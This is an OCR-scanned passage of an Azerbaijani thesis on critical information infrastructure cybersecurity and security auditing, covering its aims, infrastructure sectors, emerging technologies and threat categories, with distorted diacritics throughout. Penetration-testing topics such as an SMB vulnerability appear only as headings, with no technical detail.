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GIRIS

Movzunun aktualhgl. 21-ci osrdo dordiincii sonaye ingilabinin yaratdig
innovativ hollor ardicil olaraq insan foaliyystinin hor bir sohasino niifuz etmokdadir.
Kompiiter texnologiyalari, internet, Osyalarin interneti miiasir comiyyotin funksional
osasini toskil edon kritik informasiya infrastrukturuna g¢evrilon ¢oxsayli informasiya
xidmotlorinin yaradilmasina tokan verdi. Kritik infrastrukturlar comiyyat Ggin
xususilo vacib hesab edilon, ddvlotin hayati gabiliyyatini tomin edon on mihim,
mistasna ohamiyyatli, strateji toyinatli infrastrukturlardir. Tobii vo ya stini tesirlor
naticasindoa faaliyyatlorinds ciddi risklarlo tizlasan kritik infrastrukturlar camiyyatin
sabitliyi, idaro edilmasi vo mudafio gabiliyyati Uclin boyuk tohlike monbayi ola
bilorlar.

Fiziki sistemlorin kiber mokanla miisahido olunan inteqrasiyasi onlarin
miuxtolif toyinath kiber-fiziki sistemloro ¢evrilmosino sobab oldusa da digor torofdon
Kiber-fiziki sistemlorin yaratdigi infrastrukturunun kiber tohdidlordon vo ya kiber
hucumlardan qorunmasi ii¢iin effektiv hollorin yaradilmasi zoruratini ortaya ¢ixartdi.
Meydana cixan risklor qarsisinda kritik infrastrukturlar tiglin fasilosiz vo dayamiqh
faaliyystinin tomin olunmasi xiisusils vacibdir.

Kritik informasiya infrastrukturunun tahlikasizliyinin tamin edilmasi sahasinda
bazi todbirlor hagqinda Azorbaycan Respublikasi Prezidentinin 2021-ci il 17 aprel
tarixli 1315 nomrali formaninda geyd olundugu kimi Azarbaycan Respublikasinda da
informasiya texnologiyalar1 osasinda dovlot ohomiyyotli mosalolorin hoalli {iciin
muvafig informasiya infrastrukturu yaradilmaqdadir. Homin infrastrukturun internet
sobokasino daxil edilmasi infrastruktur obyektlorinin kiberhiicumlarin hadafing
cevrilmasine sabab olur. Yaradilan kritik informasiya infrastrukturuna daxil olan
sistem vo sobokoalorin siradan ¢ixarilmasi vo ya funksionalliginin pozulmasi ciddi
ziyan vurulmasi ilo naticolonir ki, bu da kritik informasiya infrastrukturunun
Kibertohlikasizliyino prioritet mosolo kimi baxilmasini zaruri edir [2]. Bu sabobdan
do, formanda oksini tapan madollordon biri do, kritik informasiya infrastrukturu

obyektlorinin tohllkasizliyinin tomin olunmasi vaziyystino nozarst maddosidir.
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Homin maddoanin alt bondinds qeyd olundugu kimi “Ilde bir dofodon az olmayaraq
Kibertohllkasizlik xidmoti provayderi torofindon konar audit yoxlamalarinin
kecirilmosi” kritik infrastrukturlar {i¢iin aktaul masalalordan biridir [1].

Tadgiqatin maqgsadi va masalalari. Tadgiqatin mogsadi kritik informasiya
infrastrukturunda informasiya tohllkasizliyinin etibarhligini artirmagq iiciin auditi
sisteminin islonmoasidir. Bu mogsads nail olmaq {i¢iin qarsiya asagidaki masalolor
qoyulmusdur:

- Kritik informasiya infrastrukturun arxitektur-texnoloji prinsiplarinin va
Kibertohlikasizlik masalalarinin analizi

- Kiritik informasiya infrastrukturunda auditinin toskili metodlari

— Bank infrastrukturunda informasiya tohliikasizliyi auditinin taskili metodu

- SMB (Server Mesaj Bloku; Server Message Block) boslugundan istifado
edarak serverda seans alde edilmasi

— Marsrutlama metodu ilo hodof masindan kritik malumatlarin toplanmasi

Tadgqigatin obyekti vo metodikasi. Todqigatin obyekti kimi Kritik
informasiya infrastrukturunda auditinin togkili, todqigat metodu Kkimi SMB
boslugundan vo marsrutlama metodu istifado edilmisdir.

Tadgigatin praktik shomiyyati.

— SMB boslugundan istifads edorok serverdo seans oldo edilmosi
— Marsrutlama metodu ilo hadof masindan kritik malumatlarin toplanmasi

Isin aprobasiyasi. Dissertasiya isinin noticolori asagidaki respublika
soviyyali konfransda dinlonilmis vo miizakiro edilmisdir:

Heydor Oliyevin anadan olmasimin 100-cii il doniimiing hasr olunmus talaba vo
gonc tadqgiqatcilarin "Miitoraqqi texnologiyalar vo innovasiyalar" movzusunda
VIl Respublika elmi-texniki konfrans, 25-26 may, 2023.

Dissertasiya isinin strukturu: Dissertasiya isi giris, 3 fasil, natico vo 35
odobiyyat moenbayinden ibarat olmagla 72 sohifads toskil olunmusdur. Isdo 18
sokil yer almigdir.

Birinci fasildo Kritik informasiya infrastrukturun arxitektur-texnoloji prinsiplori

arasdirilmis, Kritik informasiya infrastrukturun kibertohliikosizlik masolslori analiz



7

edilmis, Kritik informasiya infrastrukturunda auditinin togkili metodlar1 tohlil
edilmisdir.

Ikinci f>silde Bank infrastrukturunda Giriso nazarst mexanizmlori vo soxsiyyat
giriginin idaro edilmasi, Veb totbiglorin tohlikasizliyi vo auditi todqiq edilmis,
Soboka seqmentasiyasi vo bosluglarin idars edilmasi t¢tin mexanizmlor islonmisdir.
Uclincti fasilds SMB boslugundan istifado edorok serverds seans oldo edilmosi,
marsrutlama metodu ilo hadof masindan kritik molumatlarin toplanmasi iigilin praktiki
islor aparilmig, niifuzetmo testlori auditinin naticasi olaraq hoyata kecirilmali olan

todbirlor miayyan edilmisdir.

Dissertasiya isi iddiagilar torafindon asagidaki hissalords yerino yetirilmisdir:
Giris: Miislim Iskondorov

Birinci fosil : Sohriyar Mammodov

Ikinci Fosil: ©mir Ibrahimov, Miislim Iskondsrov, Sehriyar Memmodov

Uclincti fasil: ©mir Ibrahimov



I FOSIL. KRITIK INFORMASIYA INFRASTRUKTURUN ELMI-NOZORI
PROBLEMLORININ ANALIiZI VO AUDITININ TOSKILi METODLARI

1.1. Kritik informasiya infrastrukturun analizi

Texnoloji toraqqi movcud infrastrukturlarin daha ¢ox avtomatlasdirilmasina vo xiisusi
informasiya infrastrukturunun yaradilmasina sobab olmusdur. Miiasir comiyyat bir
cox texnoloji infrastrukturun moévcudlugundan, etibarliligindan, tohliikosizliyindon
daha c¢ox asili voziyyoto golmisdir. Hom tomin etdiklori ohomiyyatli sosial vo iqtisadi
faydalarma goro, hom do onlarin nasazliginin ciddi naticalorine goro informasiya
sistemlori insanlarin hoyatinda miithiim rol oynayir. Kritik hesab edilon
infrastrukturlar fiziki vo informasiyaya osaslanan obyektlor, sobokolor vo aktivlordir
ki, onlar zadslondikds votondaslarin rifahina, hokumsatlorin vo sonayenin diizgiin
1slomoasing vo ya digor monfi tosirlora sobab olur.

Kritik infrastruktur comiyystin vo onun iqtisadiyyatinin faaliyyati {iclin vacib olan
fiziki vo virtual sistemlors aiddir. Kritik infrastruktur miiasir comiyyatin foaliyystindo
asas rol oynayir. O, sosial funksiyalarin, iqtisadi sabitliyin vo ictimai tohliikasizliyin
tomin edilmosi lclin vacib olan sistemlorin genis spektrini ohato edir. Kritik
infrastruktur funksionalliq vo ohomiyyatindon asili olaraq bir ne¢o sektora boliine
bilar. Bu sektorlar 6lkolara gora forqlons bilar, lakin timumilikds enerji infrastrukturu
(elektrik enerjisinin istehsali, otiiriilmasi vo paylanmasi), nagliyyat sistemlori (yollar,
domir yollari, hava limanlari, limanlar), rabito sobakolari, su tochizati vo kanalizasiya
sistemlori, tibb miiossisolori 0Oziindo birlosdirir. Kritik infrastrukturun osas
aspektlorindon biri miixtolif sektorlar arasinda qarsiliglt asililigdir. Masalon, elektrik
enerjisinin kasilmasi naqliyyat sistemloring, rabito sobokolarine vo tibbi xidmatlora
tosir gostara bilor. Kritik infrastruktur olave zaifliklor vo qarsiligh asililiglar yaradan
informasiya texnologiyalar1 vo kommunikasiya sobokolori kimi miirokkob
sistemlordon getdikco daha ¢ox asilidir. Kritik infrastrukturlar asagida gostorilon
miixtalif sektorlara boliniir [3]:

Enerji sektoru: Buraya elektrik istehsal edon stansiyalar, elektrik sobokolori, neft vo

qaz komarlari, neft emali zavodlar1 vo barpa olunan enerji qurgular1 daxildir. Enerji



9

infrastrukturu evlori, bizneslori vo noqliyyati elektrik enerjisi, yanacaq vo istiliklo
tomin etmok liciin cox vacibdir.

Nogliyyat sektoru: Bu, yol sobokolorini, korpiilori, hava limanlarini, doniz
limanlarini, domir yollarin1 vo ictimai tranzit sistemlorini ohato edir. Etibarli
noqliyyat infrastrukturu mallarin, xidmotlorin vo insanlarin horokatini tomin edorok
ticarat vo glindolik gedis-golisi tomin edir.

Maliyya xidmotlari sektoru: Bank sistemlori, birjalar, 6donis sobokolori vo maliyyo
institutlart iqtisadi omoliyyatlardaki roluna, pul sabitliyino vo maliyyo sektorunun
foaliyyeotino goro kritik infrastruktur hesab edilir.

Su va Cirkab Sular sektoru: Su tochizati sistemlori, bondlor, su anbarlari, su
tomizlayici qurgular vo ¢irkab sularin tomizlonmosi qurgulart bu kateqoriyaya aiddir.
Onlar ohalinin saglamligin1 qorumaq vo miixtalif sonaye saholorini dostoklomak {iciin
tomiz vo tohliikasiz igmali suyun mdvcudlugunu vo tullanti1 sularinin diizgiin i1daro
olunmasini tomin edirlor.

Rabito sektoru: Telekommunikasiya sobokolori, o ciimlodon simli vo simsiz
sistemlor, peyklor vo internet infrastrukturu malumat miibadilasi tigiin vacibdir. Onlar
sosli zonglori, internets ¢ixisi, tocili yardim xidmatlorini vo rogomsal slagoni tomin
edir.

Fovgolada Xidmatlar sektoru: Bu, polis, yanginsondiirmo idaralori, tibbi xidmotlor
vo fovgolado hallarin idars olunmasi agentliklori kimi fovgolado hallara cavab
sistemlorini ohato edir. Bu xidmoatlor fovgolado hallar, tobii falakotlor vo bdhran
voziyyatlorindo ictimai tohliikasizlik vo folakotlora cavab vermok imkanlarini1 tomin
edir.

Sohiyya sektoru: Xostoxanalar, klinikalar, tibbi todqiqat miiassisalori, aczaciliq
istehsalgilart vo ictimai sohiyys agentliklori ictimai saglamligi qorumaq, tibbi
xidmatlor gostormok vo xostoliklor vo epidemiyalarla miibarizo aparmaq iigiin
todqgiqat aparmagq ti¢iin hoyati shomiyyat kosb edir.

Hokumat Obyektlori: Hokiimot binalari, harbi qurgular, dovlat idaroetmo markozlori
vo moxfi molumatlari saxlayan molumat maorkozlori 6lkonin idaro edilmosini vo

faaliyyatini qorumagq ii¢iin ¢cox vacibdir.
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Orzaq vd Kond Tasarriifat1 sektoru: Bu sektora kond tosorriifati istehsali, gida
emali zavodlari, paylama sobokalori vo qida tochizati zoncirlori daxildir. ©rzaq
tohliikasizliyinin tomin edilmasi vo asas kond tesarriifati resurslarinin movcudlugu
comiyyatin rifah1 vo sabitliyi li¢lin ¢ox vacibdir.

Miidafis vo Milli Tohliikasizlik: Horbi qurgular, miidafio sistemlori, kosfiyyat
agentliklori vo kibertohliikosizlik infrastrukturu 6lkonin suverenliyini, sorhodlorini vo
kritik aktivlerini xarici tohdidlordon qoruyur.

Kimyavi vo Tohliikoli Materiallar: Buraya tohliikoli kimyovi maddslorin vo
materiallarin istehsali, saxlanmasi vo dasmmasi ilo masgul olan obyektlor daxildir.
Onlarin tohliikaesiz idaro olunmasi, saxlanmasi vo utilizasiyasinin tomin edilmasi
qozalarin, otraf miihitin ¢irklonmasinin qarsisini almaq va ohalinin saglamligini
gorumagq Ucgun ¢ox vacibdir.

Kosmik sistemlar: Peyklor, kosmodromlar vo yeriistii idarosetmo sistemlori kimi
kosmik infrastruktur rabits, hava voziyyotinin monitorinqi, naviqasiya, elmi
tadqgiqatlar vo milli tohliikasizlikds miithiim rol oynayir. Kosmik aktivlor genis
spektrli programlar vo xidmatlar ii¢iin vacibdir.

Yuxarida gqeyd olunan infrastruktur sektorlarindan hor hansi birinin pozulmasi vo ya
ugursuzlugu ictimai tohliikesizliys, iqtisadi sabitliyo vo comiyyatin limumi
foaliyyatino tosir edon ciddi naticoloro sobob ola bilor. Hokumatlor vo togkilatlar
risklori azaltmaq vo onlarin davamliligini tomin etmok {iclin bu infrastrukturlarin
qorunmasina, dayanigqligina va tohliikasizliyina xiisusi 6nom verirlor [3].

Kritik infrastruktur komponentlori

Kritik infrastrukturun komponentlori konkret sektordan vo ya sonayedon asili olaraq
doyise bilor. Bununla bels, miixtalif kritik infrastruktur sektorlarinda rast golinen bazi
timumi komponentlor var. Homin komponentlor asagida gostorilmisdir [8]:

Fiziki aktivlor: Bunlar binalar, tikililor, qurgular, avadanliq vo mexanizmlor daxil
olmagla kritik infrastrukturun maddi komponentloridir. Niimunoloro elektrik
stansiyalari, noqliyyat sobokalori, su tomizlayici qurgular, rabito qiillolori vo molumat
morkozlori daxildir.

Sobokalor vo Sistemlor: Kritik infrastruktur effektiv islomok tigiin miirokkob
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sabokolors vo sistemloro osaslanir. Bunlara elektrik sobokolori, nogliyyat sobokolari,
telekommunikasiya sistemlori, su paylayici sobokolor vo kompiiter sobokolori daxil
ola bilor. Bu sobokalor enerji, naqliyyat, rabito vo digor vacib xidmotlorin axinini
asanlasdirir.

Noazarat Sistemlori: Bir ¢ox kritik infrastruktur sektorlar1 6z omoliyyatlarimi izlomak
vo idaro etmok {i¢lin nozarat sistemlorindon istifads edirlor. Bu sistemloro Dispetcer
nozarati vo verilonlorin toplanmast (SCADA) sistemlori, sonaye idaroetmo sistemlori
(ICS, ing. Industrial Management Systems) vo digor avtomatlagdirma texnologiyalari
daxil ola bilor. Onlar operatorlara enerji istehsali, suyun tomizlonmasi vo sonaye
istehsal1 kimi proseslori idars etmok vo izlomok imkani verir.

Informasiya Texnologiyalarn1 (IT) Infrastrukturu: IT infrastrukturu kritik
infrastruktur omoliyyatlarini idars etmok vo dostoklomok {igiin ¢cox vacibdir. Buraya
molumat miibadilosini, molumatlarin islonmasini vo olagoni tomin edon aparat,
program tominati, sobokolor vo molumatlarin saxlanmasi sistemlori daxildir.
Tohliikasizlik  divarlari, miidaxilonin agkarlanmasi sistemlori vo sifroloma
mexanizmlort kimi miihafizo wvasitolori kritik infrastrukturu kibertohliikolordon
gorumagq Ugun vacibdir,

Insan Resurslari: Tolim kegmis kadrlar vo ixtisash is¢i qiivvesi kritik
infrastrukturun vacib komponentloridir. Buraya kritik infrastruktur sistemlorinin
istismari, saxlanmasi vo tohliikosizliyino cavabdeh olan operatorlar, miihondislor,
texniki is¢ilor, fovgalado hallara cavab veranlor va tohliikasizlik iscilori daxildir.
Tachizat Zancirlari: Kritik infrastruktur sektorlar1 lazimi resurslarin, materiallarin
vo ehtiyat hissolorin movcudlugunu tomin etmok {i¢iin tochizat zoncirlorino etibar
edir. Tochizat zancirlari tachizatcilari, nagliyyat sobakslorini vo logistika sistemlarini
ohato edir. Tochizat zoncirindoki fasilolor kritik infrastrukturun foaliyyotino vo
dayaniqligina tosir gostora bilor.

Qaydalar va Standartlar: Tonzimlayici ¢argivalor, siyasatlor vo standartlar kritik
infrastrukturun dizayninda, istismarinda vo tohliikasizliyinde miihiim rol oynayir.
Bunlara tohliikesizlik qaydalari, kibertohliikosizlik qaydalari, ekoloji standartlar vo

mithiim infrastruktur komponentlorinin istismarini vo miihafizesini tonzimlayan
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sonaye-xiisusi qaydalar daxil ola bilor.

Fovqgalads Hallara Cavab va Barpa Planlari: Diizgiin miisyyon edilmis fovgolado
hallara reaksiya vo borpa planlar kritik infrastrukturun vacib komponentloridir. Bu
planlar infrastruktur daxilindo bas vers bilocok fasilolori, folakatlori vo ya fovgolado
hallar1 aradan qaldirmaq {iglin prosedurlari, protokollart vo koordinasiya
mexanizmlorini tosvir edir.

Monitorinq va Noazarat Sistemlori: Kritik infrastruktur sektorlar1 tez-tez
anomaliyalari, tohdidlori vo ya potensial risklori agkar etmok {i¢iin monitorinq vo
miisahido sistemlorindon istifads edirlor. Bu sistemlors infrastrukturun voziyysti vo
potensial zaifliklor haqqinda real vaxt rejimindo molumat veron sensorlar, kameralar,
hayacan signallar1 va qabaqcil monitoring texnologiyalari daxil ola bilor.

Ehtiyat sistemlori: Kritik infrastruktur tez-tez ugursuzluglar vo ya fasilolor halinda
davamliligi tomin etmok {iciin ehtiyat sistemlori vo todbirlorini 6ziindo birlosdirir.
Buraya ehtiyat enerji generatorlari, dublikat idaroetmo sistemlori vo alternativ
tachizat marsrutlan daxil ola bilar.

Bu komponentlar kritik infrastrukturun amsliyyatini, dayanigligini va tohliikasizliyini
dostoklomok {iciin birlikdo isloyir. Onlarin somorsli idaro edilmasi vo qorunmasi
comiyyatds asas xidmatlarin faaliyystini va sabitliyini qorumagq iigiin ¢ox vacibdir.
Texnologiyalarin kritik infrastruktura tosiri

Inkisaf etmokda olan texnologiyalar kritik infrastruktur sektorlarma hom miisbat, hom
do monfi tasir gdstormak potensialina malikdir. Asagida inkisaf edon texnologiyalar
vo onlarin potensial tosirlorindon bazi niimunslor verilmisdir:

Osyalarin Interneti (IoT, ing. Internet of Things): IoT, molumat toplamaq vo
miibadilo etmok imkan1 veran sensorlar, proqram tominati vo sobaka protokollart ilo
birlogdirilon bir-biri ilo olaqeli fiziki cihazlar sobokosino aiddir. IoT kritik
infrastruktur komponentlorinin monitoringini vo nozaratini giiclondira, somaraliliyini
artira bilor. Bununla bels, o, ham ds yeni kibertshliikasizlik risklori meydana gatirir,
cunki bir-birina bagli cihazlar kiberhiicumlara gars1 hassas ola bilar.

Siini Intellekt (AI): Al texnologiyalar1 omoliyyatlar1 optimallasdira, gerarlarm

gobulunu avtomatlasdira vo kritik infrastruktur sektorlarinda prognozlasdirma
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imkanlarinmi artira bilor. Onlar enerji sobokosinin idaro edilmosini, nogliyyatin idars
edilmosini, anomaliyalarin agkar edilmasini tokmillogdira vo resurslarin ayrilmasini
optimallasdira bilorlor. Bununla belo, suni intellekt sistemlori etibarlilig1 tomin etmok
vo godzlonilmoz naticalorin qarsisini almagq tigiin diqqgotlo dizayn edilmalidirlor.

Boyiik verilonlor (Big Data Analytics): BOyUk hocmdo molumat toplamagq,
saxlamaq vo tohlil etmok bacarigr kritik infrastruktur sektorlar1 ticliin doyorli
molumatlar tomin eds bilor. Boylik verilonlorin analitikas1 resurslardan istifadoni
optimallagdira v situasiya molumatliligini artira bilor. O, hom¢inin anomaliyalarin vo
potensial risklorin erkon askarlanmasini asanlasdira bilor. Bununla belo, hassas
molumatlar1 qorumaq {i¢iin molumatlarin moxfiliyi vo tohliikasizliyino diqqat
yetirilmoalidir.

Blockchain Texnologiyasi: Blockchain tochizat zoncirinin idars edilmasi, agilh
miiqavilolor vo autentifikasiya proseslori kimi kritik infrastruktur omosliyyatlarinin
biitovlilylini vo etibarliligini artira bilon tohliikkesiz vo soffaf paylanmis sistemlor
toklif edir. Bu, finldagciligin garsisimi  almaga, molumatlarin  biitovliyunu
yaxsilagdirmaga vo omaliyyatlar1 sadolosdirmoys komok eds bilor. Bununla bels,
genis totbiqi vo miqyashiligi ilo blockchain totbiqi iigiin. Bununla belos, blockchainin
genis totbiqi vo miqyaslhiligi ila bagli problemlor qalmaqdadir.

Robototexnika vo avtomatlasdirma: Bu kritik infrastruktur omoliyyatlarinda
somoraliliyi, mohsuldarligi vo tohliikosizliyi artira bilor. Robotlar texniki xidmat,
yoxlamalar vo tohliikali vozifalar iigiin istifads oluna bilar ki, bu da insanlarin risklors
moruz qalmasini azaldir. Bununla bels, robotlarin kritik infrastruktur sistemlorine
inteqrasiyas1 ehtiyath planlasdirma, tohliikesizlik protokollar1 va potensial is
yerlarinin doyisdirilmasi ilo bagli problemlarin hallini tolob edir.

Cloud Computing: Bulud hesablama genislonan va ¢evik saxlama, emal vo malumat
miibadilosi imkanlar1 toklif edir. Kritik infrastruktur sektorlari molumatlarin idars
edilmosini, amakdasligi vo molumatlara uzaqdan girisi tokmillogsdirmak ii¢iin bulud
hesablamalarindan istifads eds bilor. Bununla bels, bulud xidmatloring etibar {i¢iincii
torof provayderlorindon asililiq yaradir vo molumatlarin moxfiliyi, olgatanhigr va

potensial kibertohliikalorls bagli narahathiglart artirir.
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Kibertahliikasizlik Hallori: Inkisaf etmokdo olan kibertohliikosizlik texnologiyalari,
mosalon, gabaqcil tohliikko agkarlama sistemlori, sifrolomo iisullart vo tohliikosiz
kommunikasiya protokollar1 kritik infrastrukturu kibertshliikolordon qorumaq tigiin
cox vacibdir. Texnologiya inkisaf etdikco kibertohliikosizlik todbirlori yaranan
tohdidlari vo zaifliklori aradan qaldirmagq ti¢iin davamli olaraq tokmillogdirilmalidir.
Barpa Olunan Enerji Texnologiyalari: Giinos enerjisi, kiilok turbinlori vo enerji
saxlama sistemlori kimi borpa olunan enerji texnologiyalarinin qobulu enerji
sektorunu doyisdiro vo ononovi enerji monbolorindon asililig1r azalda bilor. Borpa
olunan enerjinin kritik infrastruktura inteqrasiyasi davamliligi, dayaniqhigi artira vo
otraf miihits tosirlori azalda biler.

5G va Yeni Nasil Sabakalor: Bu sobokoalorin totbiqi daha siiratli vo daha az gecikmali
olago toklif edir. Bu, real vaxt rejimindo molumat miibadilosini, avtonom naqliyyat
vasitalorini, rabito vo IoT totbiglori kimi kritik infrastruktur sektorlarini dastokloyo
bilor. Bununla belo, soboko infrastrukturunun genislondirilmasi vo tohliikasizlik
problemlarinin halli vacibdir.

Pilotsuz ucus aparatlari: Dronlar vo avtonom noqliyyat vasitolori kritik infrastruktur
sektorlarinda toftis, miisahido vo nagliyyatda inqilab eds bilor. Onlar ¢otin olds edilon
oraziloro daxil ola, monitorinq imkanlarini tokmillogdiro vo cavab miiddatini
yaxsilagdira bilorlor. Bununla bels, tohliikosiz vo mosuliyyatli yerlosdirmoni tomin
etmok iiclin tohliikasizlik protokollar1 vo moxfilik miilahizslori nozora alinmalidir.
Kritik infrastruktur operatorlari {iclin yeni texnologiyalarla bagli faydalar, risklori vo

c¢otinliklari digqatle giymetlondirmok vacibdir [8].

1.2. Kritik informasiya infrastrukturlarimin kibertahliikasizlik masalalori

Kritik infrastrukturun mioayyanlasdirilmasi comiyyatin foaliyyati G¢lin hayati
ohamiyyat kasb edoan sistemlarin muayyan edilmosini nozards tutur. Bunlara enerji,
nagliyyat, su va tullanti sulari, telekommunikasiya, sahiyya, maliyya xidmatlori vo
hokumat amaliyyatlar1 kimi sektorlar daxil ola bilar. Kritik infrastruktur bir-birindon
asililigr ilo xarakterizo olunur, ¢iinki bir sektorda bas veroan pozgunluglar digor

sektorlara da ardicil tasir gostara bilar [26].
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Rogomsal asrdo kritik infrastrukturlar moasir comiyyatlorin ayrilmaz hissasinag
cevrilib. Onlar hoyati vacib sektorlarin diizgiin islomasini doastokloayirlor vo onlarin
pozulmasi iqtisadi, sosial va tohlUkasizlik kimi shamiyyatli tasirlora sabab ola bilor:

Iqgtisadi nogteyi-nazardan kritik infrastruktur miixtolif iqtisadi sektorlarin
foaliyyati Ggtn vacibdir. Onlar maliyys omoliyyatlarini, tochizat zoanciri
omaliyyatlarini, istehsal vo paylama proseslorini vo bir sira digor iqtisadi foaliyyatlori
guclondirirlor. Bundan olavo, kritik infrastrukturlar rogomsal igtisadiyyatin tomin
edilmasinds holledici rol oynayir. Onlar global iqtisadiyyatin ayrilmaz hissasinoe
cevrilmis elektron ticarat, onlayn reklam, bulud hesablamalar1 vo rogemsal 0donislor
Kimi muxtalif rogomsal xidmotlorin osasini toskil edirlor. Bu infrastrukturlarin
pozulmasi ohamiyyatli iqtisadi itkilorlo noticolona bilor vo potensial olaraq
igtisadiyyatin faaliyyatini poza bilor.

Kritik Informasiya Infrastrukturu xalglarin iqtisadi rifahinda osas rol oynayir. O,

iqtisadiyyatin osas sektorlar1 ii¢lin onurga siitunu mahiyyatini dasiyir. Masalan,
maliyya sonayesi omoliyyatlar1 rahat vo tohliikasiz sokildo yerino yetirmok Ugln
elektron pul kdglirmo sistemloari, birjalar va bank sistemlori kKimi kritik infrastruktura
cox etibar edir. Bu sistemlarin pozulmasi istehlakgilarin inaminin itirilmasi, maliyys
itkilori vo bazar geyri-sabitliyi kimi ciddi igtisadi tasirlora sabob ola bilar.
Tachizat zanciri vo logistika sektorunda kritik informasiya infrastrukturu mallarin
somarali izlonilmasini, saxlanmasini vo dasmmasini tomin edir. Bu sistemlordoki
nasazliglar shamiyyatli gecikmolors, iqtisadi itkiloro vo zoruri mallarin potensial
catismazligina sabab ola bilor.

Sosial noqgteyi-nazardan  kritik infrastrukturlar  votondaslarin  giindalik
hoyatlarinda etibar etdiklori asas xidmatlorin tomin edilmasinde miihiim rol oynayir.
Kritik infrastrukturlar shamiyyatli ictimai tasira malikdir. Onlar sshiyys, kommunal
xidmatlor, nogliyyat vo rabito kimi oasas ictimai xidmatlori tomin edir. Masalon,
kommunikasiya, malumat oldo etmok, tohsil vo aylonco Ugun internetdon yiiksak
daracads asililig kritik infrastrukturun bir hissasidir.

Sohiyya sektorunda kritik infrastrukturlar elektron saglamliq geydlori, teletibb

Vo tibbi avadanliq kimi miixtalif xidmotlori dastokloyir. Bu sistemlarin har hansi
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birinin pozulmasi insanlarin saglamligma vo tohlikasizliyino birbasa tasir gostora
bilar.

Kritik infrastrukturlar su va elektrik kimi kommunal xidmatlorin ¢atdirilmasini
hoyata kecirdir. Bu kommunal xidmatlorin idaro edilmosi c¢ox vaxt Kkritik
infrastrukturun bir hissesi olan SCADA sistemlarindon asilidir. Bu sistemlords
yaranan fasilolor elektrik vo ya suyun kasilmasina gotirib ¢ixara bilor ki, bu da
ohalinin boyulk hissasina manfi tasir gostars bilor.

Tahllkasizlik nogteyi-nazarindan Kkritik infrastrukturlar muhidm ohomiyyat
kosb edir, cunki onlar 6lkods sabitliyi pozmaga yonalmis kiberhiicumlar iigiin
potensial hadafa gevrila bilor. Kritik infrastrukturlarin kibertohllkasizliyi hokumatlor
iclin narahatliq dogurur, ¢linki bu infrastrukturlara hiicumlar milli tohlikasizlik
omaliyyatlarin1 vo hossas moalumatlari poza bilor Ki, bu da h6kumots ictimai inami
sarsida bilor.

Kritik infrastrukturlar ham do milli tohliikasizliyin asas komponentidir. Onlar
mudafio rabitesi, kosfiyyat xidmotlori, fovgolado hallar Xxidmatlori vo ictimai
tohlukasizlik sobokolori do daxil olmagla genis spektrli osas xidmot vo imkanlar
dastokloyir.

Bir ¢ox Olkolordo horbi vo kosfiyyat agentliklori midafio foaliyyatlorini
alagalondirmak, hossas molumatlari boliismok vo tohdidlora cavab vermok Ggln
tohliikasiz va etibarli rabito sabokaloring etibar edirlor. Bu rabito sabokalari 6lkanin
ohamiyyatli infrastrukturunun bir hissasidir va onlarin pozulmasi milli tohlikasizliyi
tohlika altina qoya bilar. Digar torafdon kritik infrastrukturlar tez-tez 6lkads sabitliyi
pozmag, qorxu Yyaratmaq Vo VYya iqtisadi zoror vurmag mogQsadi dasiyan
kiberhiicumlarin hodofi olur. Buna gora do, kritik infrastrukturlarin qorunmasi milli

Kibertohliikasizlik strategiyalarinin miithiim aspekti kimi qabul edilir [26].
Kritik infrastrukturlar G¢in bazi tahdidlar
Kritik infrastruktur onun faaliyyatini poza va ya tohliiko yarada bilon mixtalif

tohllikalorlo  Uzlosir. Kritik infrastruktur tiglin bozi Umumi tohdidlor asagida

gOstorilmisdir [28]:
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Fiziki hGcumlar: Fiziki hiicumlar elektrik stansiyalari, nagliyyat sistemlori va
ya rabito sobokolori kimi infrastruktur komponentlorino zoror vurmaq vo ya mohv
etmok Ucgtin gasdan edilon harokatlori ohato edir. Misal t¢lin bombardmanlar, toxribat
Vo ya silahli hiicumlar1 gostormok olar.

KiberhGcumlar: Kiritik infrastruktur kibertohliikalora, o cliimlodon sindirma,
zorarli program, ransomware vo Paylanmis Xidmoatdon imtina (DDoS) hiicumlarina
qarst daha hossas olur. Kiberhicumlar omsliyyatlar1 poza bilar, malumatlara vo
infrastruktur sistemlarina fiziki ziyan vura bilor.

Tabii falakatlor: Infrastruktur zolzolo, qasirga, dasqin, meso yanginlari va
siddatli tufan Kkimi tobii folakatlora hassasdir. Bu hadisalor fiziki infrastrukturu
zodoloya vo ya mohv edo, xidmatlorin pozulmasina vo uzun middst dayanmasina
sobob ola bilar.

Terrorizm: Terror toskilatlar1 qorxu yaratmag, asas xXidmotlori pozmag vo ya
igtisadi ziyan vurmagq tgin kritik infrastrukturu hadafs ala bilor,

Daxili tahliikalar: Insayder tohllikalori kritik infrastruktur sistemlorina icazoli
girisi olan, 6z imtiyazlarindan sui-istifado edo vo ya Qosdon zorar vers bilon
soxslordon yaranir. Buraya narazi iscilor, podratg¢ilar vo Yya infrastrukturun
tohliikasizliyini pozmaga macbur edilon va ya riisvot verilon soxslor daxil ola bilar.

Tachizat zoncirinin pozulmasi: Kritik infrastruktur asas avadanlig, program
tominat1 vo xidmoatlori oaldo etmok Uglin kompleks tochizat zancirlorina asaslanir.
Tobii folakatlor, pandemiyalar, ticarat miinaqisolori vo ya kiberhticumlar sababindan
todarlik zancirindaki fasilalor infrastruktur omaliyyatlarina tasir gostara bilor.

Pandemiya va Sahiyya Fovgslada Hallari: Pandemiya kimi hadisalor xususila
sohiyyo, nogliyyat vo enerji kimi sektorlarda kritik infrastruktura oshamiyyatli
daracads tasir gostera bilor. Kadr ¢atismazligi, tachizat zancirinin pozulmasi va ya
artan tolobat infrastruktur sistemlorini garginlosdira vo onlarin funksionalligin1 poza
bilor.

Geosiyasi miinaqisalor: Infrastruktur geosiyasi miinaqisolorda rogibi zaiflatmok
liciin strateji bir addim kimi hodofo alina bilar. Buraya toxribat, kibermtharibs vo ya

asas infrastruktur qovsaglarina hiicumlar daxildir.
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Ekoloji tahlukalor: Iqlim doyisikliyi vo otraf miihit faktorlart kritik
infrastruktur Ggln ohamiyyatli tohlliko yaradir. Daniz soviyyasinin qalxmasi,
ekstremal hava hadisolori vo doyison otraf miihit soraiti infrastruktura zoror vers,
xidmatlori poza va iimumi dayaniqliga tasir eds bilor.

Sistemli risklar. Kritik infrastruktur sektorlart arasinda qarsiliqli asililiglar
ardicil ugursuzluglara sabab ola bilor. Elektrik enerjisinin kasilmasi kimi bir sektorda
nasazliq noagliyyat, telekommunikasiya vo su tochizati kimi digor sektorlara da
domino effekti yarada bilor.

Bu tohlikalori azaltmaq tglin hokumatlor, taskilatlar vo infrastruktur operatorlari

